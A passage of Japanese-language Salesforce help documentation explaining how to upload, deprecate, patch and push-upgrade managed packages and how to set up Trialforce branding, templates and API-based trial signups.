• 少数のユーザにトライアル目的でパッケージをアップロードする場合は、「管理-ベータ」を選択し

ます。アップロード後も、コンポーネントを変更したり、追加のベータバージョンをアップロード
したりできます。

メモ: ベータパッケージは、Developer Edition または Sandbox 組織にのみインストールできます。
顧客組織には転送できません。
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d. 必要に応じて [説明] を変更します。
e. 必要に応じて、パッケージのリリースノートのリンクを指定します。[URL] をクリックし、表示される

テキスト項目に詳細を入力します。このリンクは、インストール中、およびインストール後のパッケー
ジの詳細ページに表示されます。

メモ: ベストプラクティスとして、このリンクに外部 URL を使用するようにします。そうすること
で、リリース前に顧客にこの情報を提供したり、パッケージとは別にこの情報を更新したりできま
す。

f. 必要に応じて、パッケージのインストール後の手順のリンクを指定します。[URL]または [Visualforce ペー
ジ]をクリックし、表示されるテキスト項目に詳細を入力します。このリンクは、インストール後のパッ
ケージ詳細ページに表示されます。

メモ: ベストプラクティスとして、このリンクに外部 URL を使用するようにします。そうすること
で、パッケージとは別にこの情報を更新できます。

g. 必要に応じて、パスワードを入力および確認し、パスワードを所有している任意のユーザとパッケージ
を非公開で共有できます。AppExchange を使用しているすべてのユーザにパッケージを公開して共有す
る場合は、パスワードを入力しないでください。

h. Salesforce は、検出した要件を自動的に選択します。さらに、[パッケージ要件] および [オブジェクト要
件]セクションからその他の必須コンポーネントを選択して、インストーラにこのパッケージの要件を
通知します。

i. [アップロード] をクリックします。

7. アップロードの完了後、次の作業を実行できます。
• [パスワードの変更] リンクをクリックすると、パスワードオプションを変更できます。
• [非推奨]をクリックすると、既存のインストール操作を続行できるようにする一方で、このパッケージ

が新たにインストールされることを回避できます。

メモ: 管理パッケージの最新バージョンは、非推奨にできません。

パッケージを非推奨にするときは、AppExchange から削除することも忘れないでください。AppExchange

オンラインヘルプの「AppExchange からのアプリケーションの削除」を参照してください。
• [非推奨を解除] をクリックして、非推奨にしたバージョンを再度インストールできるようにします。

パッケージが正常にアップロードされると、インストールリンクが含まれたメールが送信されます。

メモ:

• インストール URL を使用する場合、デフォルトでは以前のインストーラが表示されます。インストー
ルの動作をカスタマイズするには、顧客に提供するインストール URL を変更します。
– 新しいインストーラにアクセスするには、テキスト &newui=1をインストール URL に追加します。
– デフォルトで [すべてのユーザ] オプションが選択された新しいインストーラにアクセスするには、

追加のテキスト &p1=full をインストール URL に付加します。
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• Salesforce本番組織からアップロードした場合は、これを sandbox 組織にインストールしようとしている
インストーラに、インストール URL の「login.salesforce.com」の部分を「test.salesforce.com」に変更するよ
うに通知してください。

関連トピック:

パッケージについて
パッケージの管理
連動関係とは
バージョンの管理
パッチの作成およびアップロード
管理パッケージへのアップグレードの公開
管理パッケージへの拡張の公開

Trialforce を使用する理由は?
Trialforceでは、製品やサービスの無料トライアルをすばやく簡単に提供できます。Trialforceでトライアルを提供
するたびに、ライセンス管理アプリケーションにリードが作成されるため、利用状況の追跡や、見込み客の購
入ユーザへの変換がしやすくなります。Trialforce には、次の機能があります。
• 顧客へのリーチおよび採用を最大化するために独自のマーケティングキャンペーンを実施する。
• ブランド設定、機能、デザイン、データ、トライアル体験など、製品やサービスをカスタマイズする。
• 複数の製品やサービス、バージョン、エディションのトライアルを便利な 1 つの場所から管理する。
• 顧客 (システム管理者以外のユーザなど) が、ログインしなくても各自の本番環境でアプリケーションやコ

ンポーネントを試せるようにする。

Trialforce のカスタムブランドの設定
Trialforce のソース組織
新規 Trialforce ソース組織
Trialforce ソース組織の編集
Trialforce
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Trialforce のカスタムブランドの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition

ユーザ権限

Trialforce を管理する
• 「アプリケーションの

カスタマイズ」

Trialforce を使用して製品の新しいトライアルを作成するアプリケーション開発者
は、必要に応じてブランド設定されたログインサイトとシステムメールを設定
できます。これらのエリアを会社のデザインを使用してブランド設定すると、
アプリケーションのユーザは、サインアップからログインまでブランドを目に
することになります。カスタムブランドは CRM 以外のアプリケーションにのみ
使用し、Salesforce CRM を拡張し、リード、商談、ケースなどの Salesforce 標準オ
ブジェクトを必要とするアプリケーションには使用しないでください。
ブランド名が入ったログインページには、ログインドメインとログインサイト
を指定できます。
• ログインドメイン名の末尾は、.cloudforce.com です。会社名が

「mycompany」の場合、ログインドメインは mycompany.cloudforce.com

になります。
• カスタムログインサイトには、テキストと会社のロゴ、モバイル対応バー

ジョンのログインサイトも含まれます。
ブランド名が入ったメールを使用して、会社名や住所などの関連の詳細情報がメール通信に使用されるように
自動生成メールの項目を指定できます。さまざまなキャンペーンや顧客区分向けに、ブランド名が入った複数
のメールセットを作成できます。

メモ: ブランドを設定するには、Trialforce 管理組織 (TMO) にログインする必要があります。TMO を取得する
には、パートナーコミュニティでケースを登録します。

Trialforce のブランド情報入りログインサイト
Trialforce ブランドメールセット

Trialforce のブランド情報入りログインサイト

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition

ユーザ権限

パッケージブランドを定
義する
• 「パッケージブラン

ド」

会社のデザインを使用したログインページを作成、公開、および編集するには、
Trialforce の [ブランド情報入りログインサイト] ページを使用します。
• ログインサイトを設定していない場合は、[ログインサイトを設定] をクリッ

クします。
• ログインサイトを設定済みである場合は、[公開] をクリックしてサイトを公

開するか、[サイトエディタを起動] をクリックして変更を適用します。

Trialforce のログインサイトのドメイン
ブランド名が入ったログインページの作成
Trialforce のログインブランドエディタ

Trialforce のログインサイトのドメイン
顧客がアプリケーションにログインするサブドメインを選択します。通常、こ
のサブドメインは会社の名前です。
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1. 表示される項目に名前を入力します。
2. [使用可能か調べる] をクリックします。
3. 利用規約に同意します。
4. [保存してエディタを起動] をクリックします。

ブランド名が入ったログインページの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition

ユーザ権限

Trialforce を管理する
• 「アプリケーションの

カスタマイズ」

顧客は通常、従来の login.salesforce.com サイトを使用してアプリケーションにロ
グインします。ブランド名が入ったログインページを使用することで、このド
メインとログインページの各部分をカスタマイズし、ブランド情報を提供でき
ます。カスタムログインサイトには、テキストと会社のロゴ、モバイル対応バー
ジョンのログインサイトも含まれます。
ブランド名が入ったログインページを作成する手順は、次のとおりです。
1. Trialforce 管理組織にログインします。
2. [設定] から、[クイック検索] ボックスに「ログインサイト」と入力し、[ログ

インサイト] を選択します。
3. [ログインサイトを設定] をクリックします。
4. 表示される項目に名前を指定して、ログインサイトのサブドメインを選択し

ます。通常は、会社名を指定します。

メモ: ログインドメイン名の末尾は、.cloudforce.com です。会社名が「mycompany」の場合、ログ
インドメインは mycompany.cloudforce.com になります。

5. ドメインが利用可能であることを確認し、利用規約に同意します。
6. [保存してエディタを起動] をクリックします。
7. ログインページのデザインを変更するには、ログインブランドエディタを使用します。エディタの使用方

法については、[このページのヘルプ] をクリックしてください。
8. [保存 & 閉じる] をクリックします。
9. TSO がこれらの変更を使用できる準備が整ったら、[公開]をクリックします。今すぐ公開しない場合、変更

が保存され、後で公開できます。
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Trialforce のログインブランドエディタ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition

ユーザ権限

Trialforce を管理する
• 「アプリケーションの

カスタマイズ」

ログインページをデザインするには、ログインブランドエディタを使用します。
1. Trialforce 管理組織にログインします。
2. [設定] から、[クイック検索] ボックスに「ログインサイト」と入力し、[ログ

インサイト] を選択します。
3. エディタの上部で、ログインページのタブ ([デスクトップ] または [携帯]) を

クリックします。
4. 左のペインで、[ページヘッダー] ノードを展開し、[ファイルを選択]をクリッ

クして、アプリケーションがサポートする各サイズの会社ロゴを選択しま
す。

5. [ロゴリンク] > [カスタムリンクを使用] 項目で、オプションとして、顧客が
ロゴをクリックしたときに使用される会社 Web サイトなどの Web アドレスを
入力します。この URL は http:// または https:// で始まる必要がありま
す。この項目を空のままにした場合、ロゴにはリンクが付きません。

6. [ページコンテンツ] ノードを展開し、トライアルサインアップリンクの URL を [トライアル登録リンク] > [カ
スタムリンクを使用]項目に貼り付けます。これは、見込み客が無料トライアルを要求するためにクリック
する Web サイト上のリンクです。通常、ISV はこの目的のサインアップページを別個に作成します。

7. ページの右下に URL を指定します。項目を空のままにした場合、フレームはデフォルトで Salesforce のログ
インページに使用されたフレームが使用されます。

8. ページのフッターを展開し、会社名とフォントの色を指定します。
9. ページ背景ノードを展開し、背景画像と色を指定します。
10. ページの上部で、[保存 & 閉じる] をクリックします。
11. [ブランド情報入りログインサイト] ページで、表示するページのサイズについて [プレビュー] をクリック

します。アプリケーションがサポートするすべてのログインページでログインページが正しく表示される
ことを確認します。

Trialforce ブランドメールセット

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition

ユーザ権限

パッケージブランドを定
義する
• 「パッケージブラン

ド」

Trialforce のメールブランドを使用すると、自動生成メールを変更して、Salesforce

からではなくあなたの会社から発信されたようにできます。Trialforceのメールブ
ランドは、Trialforceを介してアプリケーションにサインアップしたユーザに対し
てのみ適用されます。
各Trialforceソース組織には、顧客に送信される標準設定のメール通知のセットが
含まれます。たとえば、顧客は初回サインアップ時、またはパスワードリセッ
ト時にメール通知を受信します。このようなシステムで生成されたすべてのメー
ルをユーザ自身が書き換える必要はありません。項目の値を指定さえすれば、
その他の作業はシステムが実行します。

Trialforce ブランドメールセットの編集
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Trialforce ブランドメールセットの編集
開始するには、[新規メール設定] をクリックするか、既存のメールセットの横にある [編集] をクリックしま
す。
1. 項目に会社情報を入力します。
2. [メールのプレビュー] エリアで、さまざまな種類の作成済みメールをクリックして、正しく読み取れるこ

とを確認します。
3. [保存] をクリックします。
4. Trialforceソース組織がこれらのメールを使用できる準備が整ったら、[公開]をクリックします。今すぐ公開

しない場合、変更が保存され、後で公開できます。

Trialforce のソース組織

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition

Trialforce の [ソース組織] ページでは、Trialforce のソース組織を作成して管理でき
ます。
• 新しいソース組織を作成するには、[新規] をクリックします。
• 使用するソース組織がすでに存在する場合は、[ログイン]をクリックします。
• 既存のソース組織を編集するには、[編集] をクリックします。

新規 Trialforce ソース組織

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition

ユーザ権限

パッケージブランドを定
義する
• 「パッケージブラン

ド」

新しいソース組織を作成する手順は、次のとおりです。
1. 管理者アカウントの新しいユーザ名とメールアドレスを入力します。
2. ソース組織名を入力して、ブランドを選択します。
3. [作成] をクリックします。
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Trialforce ソース組織の編集

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition

ユーザ権限

パッケージブランドを定
義する
• 「パッケージブラン

ド」

Trialforce ソース組織を編集する手順は、次のとおりです。
1. ソース組織名を入力して、ブランドを選択します。
2. [保存] をクリックします。

Trialforce

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition

ユーザ権限

パッケージブランドを定
義する
• 「パッケージブラン

ド」

Trialforce テンプレートを作成する手順は、次のとおりです。
1. [新規 Trialforce テンプレート] をクリックします。
2. テンプレートの説明と表示されるダイアログにデータを含めるかどうかを指

定します。
3. [保存] をクリックします。
新しいテンプレートの生成後に、その組織 ID がメールで通知されます。テンプ
レートを使用してトライアル組織にサインアップする前に、テンプレートのレ
ビューを申請する必要があります。TSO を更新するたびに新しいテンプレートを
作成してください。それによって、トライアルに常に最新の状態が反映されま
す。

メモ: Trialforce テンプレートは、TSO が 256 MB 未満の場合にのみ作成できま
す。

各 Trialforce テンプレートの状況には、次の値の 1 つが設定されます。
処理中

この状況は、Trialforceテンプレートが初めて作成されたときに必ず設定されます。その後、成功またはエ
ラーのいずれかの状況に移行します。

成功
Trialforce テンプレートを使用して、トライアル組織を作成できます。

エラー
Trialforce テンプレートで問題が発生し、デバッグが必要なため、このテンプレートを使用できません。

削除
Trialforce テンプレートは今後使用できません。削除されたテンプレートは、システム更新中に除去されま
す。
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API を使用したサインアップの作成
ユーザ権限

サインアップ要求を作成
または表示する
• 「サインアップ要求

API」

SignupRequest オブジェクトへの API コールを使用して、見込み客向けのトライア
ル組織を作成できます。Web フォームを使用してトライアル組織 (またはサイン
アップ) を作成する場合、サインアッププロセスのカスタマイズまたは状況の追
跡を行う方法はありません。API を使用すれば、ビジネス組織のすべてのサイン
アップについての詳細な情報を収集して分析できます。これにより、サインアッ
ププロセスをより詳細に制御でき、見込み客への表示設定を詳細にカスタマイ
ズできます。次のような操作が可能です。
• レポートを実行して、1 日あたりのサインアップ数や国別のサインアップ数などの総計値を収集します。
• SignupRequest オブジェクトをカスタマイズして、自社が特に関心を寄せている項目を追加します。
• 新しいサインアップ要求が作成されるたびにメール通知を送信するなど、特定のアクションを開始するト

リガを作成します。
• 幅広いクライアントアプリケーションおよびデバイスからのサインアップを有効にすることで、顧客を獲

得するためのチャネルが増加します。
API を使用して新しいサインアップの作成を開始する手順は、次のとおりです。
1. Trialforce 管理組織から、Trialforce ソース組織 (TSO) を作成します。
2. アプリケーションおよびトライアルで役立つサンプルデータを TSO にインストールします。
3. カスタムブランドを指定するなどして、TSO を顧客に体験してもらいたい設定にします。
4. TSO から Trialforce テンプレートを作成します。
5. この機能を有効化するケースを申請します。

a. パートナーコミュニティにログインします。
b. [Support (サポート)] タブで [New Case (新規ケース)] をクリックします。
c. [AppExchange and Feature Requests (AppExchange および機能の要求)] > [Trialforce]カテゴリを選択します。
d. 説明として、次の詳細を指定します。

• TSO の組織 ID

• 使用する Trialforce テンプレートのテンプレート ID

• サインアップの作成に使用する予定の組織 (適切なユーザ権限を有効化できるようにするため)

メモ: 任意の組織から新しいサインアップを作成することができますが (適切な権限がある場合)、自分
のビジネス組織から作成することをお勧めします。そうすることで、サインアップデータを既存のビ
ジネスプロセスと簡単に統合できます。たとえば、各サインアップ要求をリードに変換するワークフ
ロールールを作成したり、特定期間のサインアップ数を追跡するレポートを実行したりできます。

テンプレートが承認されるとメールで通知されます。以降は、SignupRequest オブジェクトへの API コールを実
行することによって、新しいサインアップを作成する場合にこのテンプレートを使用できます。SignupRequest

オブジェクトの詳細およびその使用方法を示すコードのサンプルを次に示します。これらのオブジェクトを使
用した操作についての詳細は、『Salesforce および Force.com のオブジェクトリファレンス』を参照してくださ
い。
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サインアップ要求ホーム
サインアップ要求の作成
サインアップ要求の詳細の表示

サインアップ要求ホーム

ユーザ権限

サインアップ要求を作成
または表示する
• 「サインアップ要求

API」

メモ:  1 日あたり 20 サインアップに制限されます。これ以上のサインアッ
プを行う必要がある場合は、パートナーコミュニティでケースを登録しま
す。

[サインアップ要求] タブには、サインアップ要求ホームページが表示されます。
このページでは、次のアクションを実行できます。
• 新しいサインアップを作成する。Trialforce テンプレートを使用してサインアッ

プを作成する場合、テンプレートが承認されていることを確認します。
• 以前のサインアップの詳細 (履歴や承認状況など) を表示する。
• 指定したサインアップの一致条件を表示するための新しいビューを作成する。

サインアップ要求の作成

ユーザ権限

サインアップ要求を作成
または表示する
• 「サインアップ要求

API」

1. サイドバーの [新規作成] ドロップダウンリストから [Signup Request]を選択す
るか、サインアップ要求のホームページで [最近の Signup Requests] の横にあ
る [新規] をクリックします。

2. サインアップ要求の情報を入力します。
3. 完了したら [保存]をクリックします。現在のサインアップ要求を保存して、

他のサインアップ要求を追加する場合は、[保存 & 新規] をクリックします。

サインアップ要求の詳細の表示

ユーザ権限

サインアップ要求を作成
または表示する
• 「サインアップ要求

API」

[Signup Request の詳細] ページから、次の手順を実行します。
• [削除] をクリックして、サインアップ要求を削除します。
• [コピー] をクリックして、同じ属性を持つ新しいサインアップ要求を作成し

ます。
詳細ページには、次のセクションがあります。
• Signup Request の詳細
• Signup Request 履歴

Signup Request の詳細
このセクションには、次の属性が表示されます。

説明属性

トライアルサインアップを要求する会社の名前。会社

7055

API を使用したサインアップの作成アプリケーションのパッケージ化および配布



説明属性

英大文字 2 文字の ISO-3166 国コード。これらのコードの完全なリストは、
www.iso.ch/iso/en/prods-services/iso3166ma/02iso-3166-code-lists/list-en1.htmlなどのさまざ
まなサイトに掲載されています。

国

作成されたトライアル組織の 15 文字の組織 ID。これは、サインアップ要求が処
理されたときにシステムが提供する参照のみの項目です。

作成組織

トライアルサインアップの管理ユーザのメールアドレス。メール

サインアップ要求が失敗した場合のエラーコード。これは参照のみの項目であ
り、サポート用にシステムによって提供されます。

エラーコード

トライアルサインアップの管理ユーザの名。名

トライアルサインアップの管理ユーザの姓。姓

トライアル組織を作成するために使用されるSalesforceテンプレート。使用できる
値は、[Partner Group]、Professional、[Partner Professional]、[Sales

エディション

Professional]、[Professional TSO]、Enterprise、[Partner

Enterprise]、[Service Enterprise]、[Enterprise TSO]、Developer、
および [Partner Developer] です。

作成されるトライアル組織の言語。Salesforceヘルプの「サポート言語」の「完全
サポート対象言語」に記載されている言語コードを使用して言語を指定します。

言語

たとえば、簡易中国語には zh_CN を使用します。ロケールで設定されている言
語は、選択した値で上書きされます。無効な言語を指定すると、組織のデフォル
トの言語である英語に設定されます。

サインアップ要求時に Salesforce の内部使用目的で入力されます。

true に設定されると、トライアル組織が環境ハブに接続されます。サインアッ
プはハブマスタ組織またはスポーク組織で行う必要があります。

ShouldConnectToEnvHub

Trialforce テンプレートが作成される元となった Trialforce ソース組織の 15 文字の組
織 ID。

ソース組織

要求の状況。使用できる値は、[新規]、[処理中]、[エラー]、または [成功] で
す。デフォルト値は、[新規] です。

状況

トライアルサインアップの基礎となる承認済み Trialforce テンプレートの 15 文字の
ID。このテンプレートは必須であり、Salesforce によって承認されている必要があ
ります。

テンプレート

トライアルサインアップの基礎となる承認済み Trialforce テンプレートの説明。テンプレートの説明

トライアルサインアップの期間 (日単位)。承認済み Trialforce テンプレートのトラ
イアル日数以下である必要があります。指定されていない場合、この値は Trialforce

テンプレートで指定されたデフォルトのトライアル期間に設定されます。

トライアル日数
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説明属性

トライアルサインアップの管理ユーザのユーザ名。これは、RFC822 に指定された
アドレス表記 (www.w3.org/Protocols/rfc822/#z10) に従う必要があります。

ユーザ名

Signup Request 履歴
このセクションには、サインアップ要求の作成日、作成したユーザ、およびそのサインアップ要求に対して実
行されたアクションを表示します。

管理パッケージへの拡張の公開
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

パッケージを作成する
• 「AppExchange パッ

ケージの作成」

パッケージをアップロー
ドする
• 「AppExchange パッ

ケージのアップロー
ド」

拡張とは、管理パッケージの機能に追加される任意のパッケージ、コンポーネ
ント、または一連のコンポーネントを指します。拡張を使用するには、基本管
理パッケージが組織にインストールされている必要があります。たとえば、社
員募集アプリケーションを作成した場合、このアプリケーションの拡張として、
応募者の経歴を調査するコンポーネントが含めることができます。
Force.comAppExchangeにアプリケーションを構築および公開する開発者、ユーザ、
および IT アーキテクトのコミュニティは、Force.com 開発プラットフォームを豊
かにしている要素の一部です。このコミュニティを通じて、他のアプリケーショ
ンに対する拡張を構築したり、自社アプリケーション向けに拡張を構築するよ
う促すことができます。
管理パッケージに拡張を公開する手順は、次のとおりです。
1. 拡張のアップロードに使用するSalesforce組織に基本パッケージをインストー

ルします。
2. 拡張コンポーネントを構築します。

メモ: 拡張を構築するには、基本パッケージをインストールし、その基
本パッケージへの連動関係を自分のパッケージに組み込みます。拡張属
性が自動的に有効になります。

3. 新規パッケージを作成し、拡張コンポーネントを追加します。Salesforce に
よって関連コンポーネントが自動的に追加されます。

4. 拡張コンポーネントを含む新規パッケージをアップロードします。
5. 通常の手順で公開処理を実行します。無料トライアルの作成、またはアプリケーションの登録や公開につ

いての詳細は、http://sites.force.com/appexchange/publisherHome を参照してください。
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メモ: パッケージは、同じ組織内で拡張として使用されている場合、「管理 - ベータ」にはアップグレー
ドできません。

関連トピック:

配布用アプリケーションの準備
連動関係とは
バージョンの管理
管理パッケージへのアップグレードの公開

管理パッケージへのアップグレードの公開
エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Developer Edition

パッケージアップロード
およびインストールを使
用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

開発者設定を定義する
• 「アプリケーションの

カスタマイズ」

パッケージを作成する
• 「AppExchange パッ

ケージの作成」

パッケージをアップロー
ドする
• 「AppExchange パッ

ケージのアップロー
ド」

公開者として、アプリケーションが管理パッケージへの変換によってアップグ
レード可能であることを最初に確認します。管理パッケージ内のコンポーネン
トに対する変更は、該当するパッケージのその後のアップロードに自動的に組
み込まれますが、1 つ例外があります。パッケージをアップグレードするとき
は、たとえ開発者が指定したものであっても、APIアクセスの変更は無視されま
す。このようにして、アップグレードをインストールするシステム管理者に完
全な制御権があることを保証します。インストールするユーザはインストール
中の各アップグレードで、パッケージのアクセスの変更を慎重に検討し、すべ
ての受け入れ可能な変更に注意する必要があります。これらの変更は無視され
るため、システム管理者は、アップグレードをインストールした後で、受け入
れ可能な変更を手動で適用する必要があります。詳細は、「パッケージの API ア
クセスおよびダイナミック Apex アクセスについて」 (ページ7013)を参照してくだ
さい。
管理パッケージのアップグレードを公開する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「パッケージ」と入力し、[パッケー

ジ] を選択します。
2. 使用可能なパッケージのリストからパッケージを選択します。
3. パッケージコンポーネントのリストを参照します。このパッケージのコン

ポーネントに対して加えた変更がこのリストに自動的に組み込まれます。追
加コンポーネントを参照するような変更が加えられた場合は、これらのコン
ポーネントも自動的に組み込まれます。[追加] をクリックすると、パッケー
ジに手動でコンポーネントを追加できます。

4. [アップロード] をクリックして、通常の手順でアップロードします。
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メモ: 管理-リリース済みパッケージの新しいバージョンをアップロードした後、[非推奨]をクリック
して、ユーザが古いバージョンをインストールできないようにします。非推奨にすることにより、既
存のインストールには影響を与えず、古いバージョンが新たにインストールされることを回避しま
す。詳細は、「バージョンの管理」 (ページ 7059)を参照してください。
アップロード済みの管理パッケージの最新バージョンは、非推奨にできません。

5. Force.com AppExchange上のアップロードへのリンクをメールで受け取ったら、インストール済みユーザに新
しいバージョンがアップロードされたことを通知します。情報の配布には、ライセンス管理アプリケーショ
ン (LMA) にあるインストール済みユーザのリストを使用します。ライセンス管理アプリケーション (LMA)

は、組織内の各インストーラが持つバージョン番号を自動的に保存します。

関連トピック:

配布用アプリケーションの準備
連動関係とは
バージョンの管理
パッチの作成およびアップロード
管理パッケージへの拡張の公開

バージョンの管理
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

パッケージをアップロー
ドする
• 「AppExchange パッ

ケージのアップロー
ド」

AppExchangeにパッケージをアップロードした後も、Salesforceから管理できます。
バージョンを管理する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「パッケージ」と入力し、[パッケー

ジ] を選択します。
2. アップロードしたアプリケーションまたはコンポーネントを含むパッケージ

を選択します。
3. [バージョン] タブに表示されているバージョン番号を選択します。

• [パスワードの変更]リンクをクリックすると、パスワードオプションを変
更できます。

• [非推奨]をクリックすると、既存のインストール操作を続行できるように
する一方で、このパッケージが新たにインストールされることを回避で
きます。

メモ: 管理パッケージの最新バージョンは、非推奨にできません。

パッケージを非推奨にするときは、AppExchange から削除することも忘れ
ないでください。AppExchangeオンラインヘルプの「AppExchangeからのア
プリケーションの削除」を参照してください。

• [非推奨を解除] をクリックして、非推奨にしたバージョンを再度インス
トールできるようにします。
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メモ: アップロードしたパッケージについて、テストドライブの作成またはライセンス管理組織 (LMO)の
選択を行うには、パッケージのアップロード詳細ページから [AppExchange に移動する] をクリックしま
す。

関連トピック:

配布用アプリケーションの準備
連動関係とは
パッチの作成およびアップロード
管理パッケージへのアップグレードの公開
管理パッケージへの拡張の公開
Apex および Visualforce 開発のセキュリティガイドライン

パッチの作成およびアップロード
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition

ユーザ権限

アップグレードを転送す
る、またはパッチ開発組
織を作成する
• 「AppExchange パッ

ケージのアップロー
ド」

メモ: パッチバージョンおよび転送アップグレードは、Salesforce ISV パート
ナーのみが使用できます。

パッチバージョンは、パッチ開発組織で開発および管理されます。「転送アッ
プグレードおよびパッチバージョンのベストプラクティス」 (ページ7068)も参照
してください。
パッチバージョンを作成する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「パッケージ」と入力し、[パッケー

ジ] を選択します。
2. 管理パッケージの名前をクリックします。
3. [パッチ組織] タブをクリックして、[新規] をクリックします。
4. [メジャーリリースへのパッチ適用] ドロップダウンリストでパッチを作成す

るパッケージバージョンを選択します。リリースの種類は、「管理-リリース
済み」である必要があります。

5. パッチ組織にログインするための [ユーザ名] を入力します。
6. ログインに関連付けられている [メールアドレス] を入力します。
7. [保存] をクリックします。

メモ: ログイン情報をなくした場合は、パッチ開発組織の下のパッケージ詳細ページで [リセット] を
クリックし、パッチ開発組織へのログイン情報を再設定します。

Salesforce からパッチ開発組織を作成したことを示すメールを受け取ったら、[ログイン] をクリックして、パッ
チバージョンの作成を開始できます。
パッチ開発組織での開発には制限があります。次に、注意事項の一覧を示します。
• 新しいパッケージコンポーネントの追加はできません。
• 既存のパッケージコンポーネントの削除はできません。
• API およびダイナミック Apex アクセスコントロールをそのパッケージ用に変更できません。
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• Apex コードは廃止できません。
• extends などの新しい Apex クラス関係は追加できません。
• virtual や global などの新しい Apex クラス修飾子は追加できません。
• 新規の Web サービスは追加できません。
• 新規の機能の連動関係は追加できません。
パッチを作成し終えたら、パッチ開発組織で UI からアップロードします (Tooling API を使用してパッケージを
アップロードすることもできます。サンプルコードと詳細は、『Tooling API Developer Guide』の PackageUploadRequest

オブジェクトに関する説明を参照してください)。
1. [設定] から、[クイック検索] ボックスに「パッケージ」と入力し、[パッケージ] を選択します。
2. パッケージ名をクリックします。
3. [パッケージのアップロード] ページで [アップロード] をクリックします。
4. [バージョン名]を入力します。簡単な説明と日付を含めることをお勧めします。
5. [バージョン番号] の patchNumber が増分されていることを確認します。
6. 管理パッケージの場合、[リリース種別] を選択します。

• アップグレード可能なパッケージをアップロードするには [管理-リリース済み] を選択します。アップ
ロード後は、Salesforce コンポーネントの属性の一部がロックされます。

• 少数のユーザにトライアル目的でパッケージをアップロードする場合は、「管理-ベータ」を選択しま
す。アップロード後も、コンポーネントを変更したり、追加のベータバージョンをアップロードしたり
できます。

メモ: ベータパッケージは、Developer Edition または Sandbox 組織にのみインストールできます。顧客
組織には転送できません。

7. 必要に応じて [説明] を変更します。
8. 必要に応じて、パスワードを入力および確認し、パスワードを所有している任意のユーザとパッケージを

非公開で共有できます。AppExchangeを使用しているすべてのユーザにパッケージを公開して共有する場合
は、パスワードを入力しないでください。

9. Salesforce は、検出した要件を自動的に選択します。さらに、[パッケージ要件] および [オブジェクト要件]

セクションからその他の必須コンポーネントを選択して、インストーラにこのパッケージの要件を通知し
ます。

10. [アップロード] をクリックします。
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パッチを配布するには、アップロードリンクを共有するか、または転送アップグレードをスケジュールできま
す。

関連トピック:

転送アップグレードのスケジュール
転送アップグレード履歴の表示
配布用アプリケーションの準備
バージョンの管理
管理パッケージへのアップグレードの公開

転送アップグレードのスケジュール
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition

ユーザ権限

アップグレードを転送す
る
• 「AppExchange パッ

ケージのアップロー
ド」

メモ: パッチバージョンおよび転送アップグレードは、Salesforce ISV パート
ナーのみが使用できます。

パッケージのパッチバージョンを作成したら、転送アップグレードを使用して
そのパッケージを顧客にリリースできます。

ヒント: Salesforceは、次の手順に従ってパッケージのアップグレードを転送
することを強くお勧めします。
1. 自分の組織にアップグレードを転送し、テストしてバグを修正した後に

登録者をアップグレードします。
2. 準備が整い、変更管理プロセスについて顧客との調整が完了したら、い

くつかの顧客組織に転送します。可能な場合は、まず Sandbox 組織で試
します。

3. 初期の結果に問題がなければ、各顧客との契約に基づいて、より広範囲
にわたる顧客ベースに転送します。

4. メインの開発組織で、パッケージの以前のバージョンを廃止します。必
要に応じて、AppExchangeのバージョンを置換し、Trialforceの設定を更新
します。

5. アップグレードがパッチであった場合、アップグレードを登録者の組織
に正常に配布した後、それらの変更をメインの開発組織に再度組み込み
ます。パッチを組み合わせてメインの開発組織に組み込む方法の詳細に
ついては、『ISVforce ガイド』の「パッチバージョンの使用」を参照して
ください。

詳細は、「転送アップグレードおよびパッチバージョンのベストプラクティ
ス」 (ページ 7068)を参照してください。

UI を使用した転送アップグレードのスケジュール
1. メインの開発者組織にログインします (新バージョンのアップロードに使用したパッチ組織ではありませ

ん)。
2. [設定] から、[クイック検索] ボックスに「パッケージ」と入力し、[パッケージ] を選択します。
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3. アップグレードを転送する管理パッケージの名前をクリックします。
4. [パッケージの詳細] ページで、[バージョン]タブをクリックし、[転送アップグレード]をクリックします。
5. [転送アップグレードのスケジュール] をクリックします。
6. [パッチバージョン] ドロップダウンリストから、転送するパッケージバージョンを選択します。

メモ: ベータバージョンは転送できません。

7. スケジュール済み開始日には、転送アップグレードを開始する日付を入力します。
8. [対象組織の選択] セクションで、転送アップグレードを受信する組織を選択します。組織が、選択したパッ

ケージバージョンの転送アップグレードをすでに受信している場合、このリストに表示されません。次の
方法で組織を選択することができます。
• 組織の名前または ID に基づいて絞り込む語を入力します。名前は部分文字列で一致できますが、ID は完

全一致です。
• [組織] ドロップダウンリストから、本番組織と Sandbox 組織のいずれかを選択します。
• 特定のバージョンをインストール済みである組織を選択します。
• 個々の組織をクリックするか、[すべて選択] や [すべて選択解除] チェックボックスをオンにします。
ここでは、組織に関する次の情報を示します。

説明項目

組織がインストールした現在のパッケージのバー
ジョン。

現在のバージョン

Salesforce でその組織を一意に識別する ID。組織 ID

組織の名前。名前をクリックすると、組織のアップ
グレード履歴が表示されます。

組織名

パッケージをインストールした取引先責任者の名
前。

